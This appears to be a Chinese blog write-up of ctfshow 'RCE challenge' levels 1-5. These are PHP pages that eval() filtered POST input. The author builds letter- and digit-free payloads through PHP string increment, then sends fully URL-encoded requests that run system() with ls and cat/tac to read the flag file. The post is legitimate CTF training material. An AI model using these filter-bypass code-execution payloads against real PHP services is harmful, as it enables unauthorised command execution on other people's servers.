ctfshow 每周大挑战 rce挑战1-5
RCE挑战1
RCE挑战2
题目
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow)) {
if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>
因为过滤了$ctfshow
值中的所有数字和字母,考虑变量自增,涉及到PHP的知识点:
<?php
$a = []._;
//$a为“Array_”
echo $a[0];
//会输出:A
$b = $a[0];
echo ++$b;
//会输出:B
?>
因为数字也过滤掉了,变量名可以用下划线替代,$a[0]
中的数字0也可以用下划线替代。
<?php
$_ = []._;
echo $_[_];
//输出:A
?>
拼出$_GET[_]($_GET[__])
:
$_=[]._;$_=$_[_];$_++;$_++;$_++;$_++;$__=$_;$_++;$_++;$___=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___=$___.$__.$_;$_='_'.$___;$$_[_]($$_[__]);
$_=[]._; //此时$_为Array
$_=$_[_]; //取出A赋值给$_
$_++;$_++;$_++;$_++;$__=$_; //从A开始自增4次到E,把E赋值给$__
$_++;$_++;$___=$_; //再自增两次到G,把G赋值给$___
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++; $_自增到T
$___=$___.$__.$_; 将GET拼接起来
$_='_'.$___; 将_和GET拼接起来 ,赋值给$_
$$_[_]($$_[__]); 得到$_GET[_]($$_[__]);
因为中间件会解码一次,所以还需要URL全编码一次:
%24%5F%3D%5B%5D%2E%5F%3B%24%5F%3D%24%5F%5B%5F%5D%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%3D%24%5F%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%5F%3D%24%5F%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%5F%3D%24%5F%5F%5F%2E%24%5F%5F%2E%24%5F%3B%24%5F%3D%27%5F%27%2E%24%5F%5F%5F%3B%24%24%5F%5B%5F%5D%28%24%24%5F%5B%5F%5F%5D%29%3B
get传参:
?_=system&__=tac ../../../f1agaaa;
RCE挑战3
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 105) {
if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>
过滤没有过滤掉0,1,但比上一题多过滤掉了'
,这里限制了长度为105
然后这个时候考虑的$_GET
中的T
字符相对G
和E
来说是较靠后的,如果用自增获取会占用很多字符,所以这里可以去尝试构造$_POST
,这四个字符相对来说还是挨的比较近的,所以我这里打算构造的语句是$_POST[0]($_POST[1])
,接下来我们就可以去构造了。同时我们这里是有数字0
的,所以我们这里可以用0/0
来获取float(NAN)
,接下来需要把他转换为字符串,因为这个是无法利用的,然后我们这里可以看到'
和"
都被ban了,所以不能再用,不过我们这里拼接的话,其实随便拼接个什么都可以,我们这里拼接一个下划线也是可以的,所以第一步就有了
<?php
$_=(0/0)._;//NAN
$_=$_[0];//N
这个时候就成功获取到了字符N
,接下来就是先进行赋值获取一个_
,然后再通过自增获取POST
,最终的话得到的payload如下
<?php
$_=(0/0)._;//NAN
$_=$_[0];//N
$_1=++$_;//O ++$_是先进行自增,而后取值,所以这里$_1就是O
$__=_;//_ 首先获取_
$__.=++$_;//_P 通过自增获取P
$__.=$_1;//_PO 获取O
$_++;//Q
$_++;//R
$__.=++$_;//_POS 通过自增获取S
$__.=++$_;//_POST 通过自增获取T
$$__[0]($$__[1]);//$_POST[0]($_POST[1])
$_=(0/0)._;$_=$_[0];$_1=++$_;$__=_;$__.=++$_;$__.=$_1;$_++;$_++;$__.=++$_;$__.=++$_;$$__[0]($$__[1]);
payload:(url编码)
ctf_show=%24_%3d(0%2f0)._%3b%24_%3d%24_%5b0%5d%3b%24_1%3d%2b%2b%24_%3b%24__%3d_%3b%24__.%3d%2b%2b%24_%3b%24__.%3d%24_1%3b%24_%2b%2b%3b%24_%2b%2b%3b%24__.%3d%2b%2b%24_%3b%24__.%3d%2b%2b%24_%3b%24%24__%5b0%5d(%24%24__%5b1%5d)%3b&0=system&1=ls ../../../;
ctf_show=%24_%3d(0%2f0)._%3b%24_%3d%24_%5b0%5d%3b%24_1%3d%2b%2b%24_%3b%24__%3d_%3b%24__.%3d%2b%2b%24_%3b%24__.%3d%24_1%3b%24_%2b%2b%3b%24_%2b%2b%3b%24__.%3d%2b%2b%24_%3b%24__.%3d%2b%2b%24_%3b%24%24__%5b0%5d(%24%24__%5b1%5d)%3b&0=system&1=cat ../../../f1agaaa;
RCE挑战4
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 84) {
if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are yaou hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>
这题将字符长度进一步减小了,需要我们将代码进行优化
$_=(_/_._)[0];$__=++$_;$__=_.++$_.$__;++$_;++$_;$__=$__.++$_.++$_;$$__[_]($$__[__]);
分析
$_=(_/_._)[0]; // 直接拼接成字符串并切片 得到N
$__=++$_; // $__=O p q r s t
$__=_.++$_.$__; // $__=_PO $_=P
++$_;++$_; // $_=R
$__=$__.++$_.++$_; // $__=_POST
$$__[_]($$__[__]); // $_POST[_]($_POST[__]);
url编码
%24_%3d(_%2f_._)%5b0%5d%3b%24__%3d%2b%2b%24_%3b%24__%3d_.%2b%2b%24_.%24__%3b%2b%2b%24_%3b%2b%2b%24_%3b%24__%3d%24__.%2b%2b%24_.%2b%2b%24_%3b%24%24__%5b_%5d(%24%24__%5b__%5d)%3b
payload
ctf_show=%24_%3d(_%2f_._)%5b0%5d%3b%24__%3d%2b%2b%24_%3b%24__%3d_.%2b%2b%24_.%24__%3b%2b%2b%24_%3b%2b%2b%24_%3b%24__%3d%24__.%2b%2b%24_.%2b%2b%24_%3b%24%24__%5b_%5d(%24%24__%5b__%5d)%3b&_=system&__=ls ../../../;
ctf_show=%24_%3d(_%2f_._)%5b0%5d%3b%24__%3d%2b%2b%24_%3b%24__%3d_.%2b%2b%24_.%24__%3b%2b%2b%24_%3b%2b%2b%24_%3b%24__%3d%24__.%2b%2b%24_.%2b%2b%24_%3b%24%24__%5b_%5d(%24%24__%5b__%5d)%3b&_=system&__=cat ../../../f1agaaa;
RCE挑战5
题目
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 73) {
if (!preg_match("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>
这次除了长度再次缩短外,甚至不允许输入数字。输入符合黑名单规则又长度大于73的字符串。
构造payload,尽量把变量和🐎都设置为一个长度的字符,涉及到一个小知识点,PHP的变量名可以用不可见字符,所以URL全编码后我把这里的a都替换成了%FA
$_=(_/_._)[_];//N
$_++;//O
$a=$_.$_++;//PO
$_++;$_++;//R
$a=_.$a.++$_.++$_;//_POST
$$a[_]($$a[a]);
$_=(_/_._)[_];$_++;$a=$_.$_++;$_++;$_++;$a=_.$a.++$_.++$_;$$a[_]($$a[a]);
url全编码后(网上好多在线工具不能全编码,还得自己换几个) 将a替换 a->%FA
%24%5F%3D%28%5F%2F%5F%2E%5F%29%5B%5F%5D%3B%24%5F%2B%2B%3B%24%FA%3D%24%5F%2E%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%FA%3D%5F%2E%24%FA%2E%2B%2B%24%5F%2E%2B%2B%24%5F%3B%24%24%FA%5B%5F%5D%28%24%24%FA%5B%FA%5D%29%3B
最后传payload的时候,需要用bp抓包,hackerbar一直显示报错url解码失败,难绷
payload:
ctf_show=%24%5F%3D%28%5F%2F%5F%2E%5F%29%5B%5F%5D%3B%24%5F%2B%2B%3B%24%FA%3D%24%5F%2E%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%FA%3D%5F%2E%24%FA%2E%2B%2B%24%5F%2E%2B%2B%24%5F%3B%24%24%FA%5B%5F%5D%28%24%24%FA%5B%FA%5D%29%3B&_=system&%FA=ls ../../../
ctf_show=%24%5F%3D%28%5F%2F%5F%2E%5F%29%5B%5F%5D%3B%24%5F%2B%2B%3B%24%FA%3D%24%5F%2E%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%FA%3D%5F%2E%24%FA%2E%2B%2B%24%5F%2E%2B%2B%24%5F%3B%24%24%FA%5B%5F%5D%28%24%24%FA%5B%FA%5D%29%3B&_=system&%FA=cat ../../../flagaaa
限制73个字符,而且0也不可以用了,但是这里观察到phpinfo安装了一个扩展gettext,该扩展支持函数_()
,相当于gettext()
,直接转化为字符串。另外,其实数组下标使用未定义常量,php会warning,但是可以继续运行,并返回下标为0的字符(现象是这样但是实际机制需要看php源码)。其余知识点上面都已经讲过了,剩下的就是靠经验和积累对payload进行精简
<?php
$_=_(_/_)[_];//相当于gettext(0/0)[0],得到N
$_=++$_;//O
$%FA=_.++$_.$_;//_PO
$_++;$_++;//R
$%FA.=++$_.++$_;//_POST
$$_[_]($$_[%FA]);//$_POST[a]($_POST[_])
$_=_(_/_)[_];$_=++$_;$%FA=_.++$_.$_;$_++;$_++;$%FA.=++$_.++$_;$$_[_]($$_[%FA]);
%24%5F%253D%28%255F%2F%29%5B%255F%5D%3B%24%5F%3D%2B%2B%24%5F%3B%24%25FA%3D%255F%2E%2B%2B%24%5F%2E%24%5F%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%25FA%2E%3D%2B%2B%24%5F%2E%2B%2B%24%5F%3B%24%24%5F%5B%5F%5D%28%24%24%5F%5B%25FA%5D%29%3B&_=system&%FA=ls
这两位才是真的大佬,比我少了11位,wc,我人看傻了,太厉害了。
<?PHP
$_=_(%FA.%FA)[_];//N //本地使用就用(_._._)[_],或者安装了一个扩展gettext
$%FA=++$_;//O
$$%FA[$%FA=_.++$_.$%FA[$_++/$_++].++$_.++$_]($$%FA[_]); //$_POST[_POST]($_POST[_])
//将拼接放到同一行,真的太厉害了,我只能感叹一句nb
不可见字符:
%00 %01 %02 %03 %04 %05 %06 %07 %08 %09 %0A %0B %0C %0D %0E %0F %10 %11 %12 %13 %14 %15 %16 %17 %18 %19 %1A %1B %1C %1D %1E %1F + %21 %24 %27 %28 %29 %2B %2C . %2F %3B %3D %5B %5D _ %7F %80 %81 %82 %83 %84 %85 %86 %87 %88 %89 %8A %8B %8C %8D %8E %8F %90 %91 %92 %93 %94 %95 %96 %97 %98 %99 %9A %9B %9C %9D %9E %9F %A0 %A1 %A2 %A3 %A4 %A5 %A6 %A7 %A8 %A9 %AA %AB %AC %AD %AE %AF %B0 %B1 %B2 %B3 %B4 %B5 %B6 %B7 %B8 %B9 %BA %BB %BC %BD %BE %BF %C0 %C1 %C2 %C3 %C4 %C5 %C6 %C7 %C8 %C9 %CA %CB %CC %CD %CE %CF %D0 %D1 %D2 %D3 %D4 %D5 %D6 %D7 %D8 %D9 %DA %DB %DC %DD %DE %DF %E0 %E1 %E2 %E3 %E4 %E5 %E6 %E7 %E8 %E9 %EA %EB %EC %ED %EE %EF %F0 %F1 %F2 %F3 %F4 %F5 %F6 %F7 %F8 %F9 %FA %FB %FC %FD %FE %FF
参考wp
[CTF.SHOW]RCE极限挑战 – 「配枪朱丽叶。」 (shawroot.cc)
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 在鹅厂做java开发是什么体验
· 百万级群聊的设计实践
· WPF到Web的无缝过渡:英雄联盟客户端的OpenSilver迁移实战
· 永远不要相信用户的输入:从 SQL 注入攻防看输入验证的重要性
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析